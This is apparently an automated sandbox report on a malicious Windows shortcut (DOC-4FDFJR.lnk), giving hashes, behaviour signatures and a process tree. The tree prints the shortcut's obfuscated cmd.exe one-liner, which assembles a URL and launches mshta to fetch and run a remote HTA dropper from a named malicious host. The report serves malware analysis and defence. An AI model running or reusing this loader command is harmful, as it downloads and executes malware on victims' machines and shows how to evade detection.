Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:10
Static task
static1
Behavioral task
behavioral1
Sample
DOC-4FDFJR.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-4FDFJR.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-4FDFJR.lnk
- Size 2KB
- Sample260803-qeptjaygqa
- SHA256 b722af6a340d697cf2f00f1297efdce74f72359694c0560b444bef6744adcd92
- MD5 2cce1d5fa9e0ccbd13f8b8e2809d0c74
- SHA1 8aa6cef2dd5f9da6de8e9e55e300acf598481d42
- SHA512 3275a97f4a43f1894653f4986df380df982f0e1804283d759a6044d535e94cf5b0d5051078ab1748a46c6afa74be0d17ec92976026072b422754238296bcd36a
- TLSH T1E94156803AFD02D8F2FB8E76D97F274145BBBD556D70D28D0440814C0822B44D977B27
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4308 cmd.exe 4780 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4308 wrote to memory of 4780 4308 cmd.exe 91 PID 4780 wrote to memory of 3900 4780 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4FDFJR.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set jQS=wintpktvakkmpwin&set kaV=s5mshtib&&set vsMS=aa4&set XnGC=netrvxmjqtigptwyevdknet&set wpu=dbgpdindbg&set STKz=systipxmgvazsys&set XxrVJ=logwwjgbsvtmwdirtjetmlog&set ATc=cacheodpcyamcocnwfukucache&set VIm=tmpdkyyjtmp&set qUmF=sysdxivowszxlsirhmsys&set SuGO=namszj&&set Ch=nt6&&set NLzFo=0iart9o&set FltX=datdqfujfhnorgddat&set MHA=tmpsotgoebrtxdttmp&set aAq=dbgacsgyfnzgzoubdbg&&set st=h@tt@ps:/@/b@o@-p@df@fi@ll@[email protected]@at@/h@/@e@s@ta@gio@1@.@ph@p?r=3@607@61@F1@57@9@4&&start /b !kaV:~2,4!!vsMS:~1,1! !st:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:3900
-
-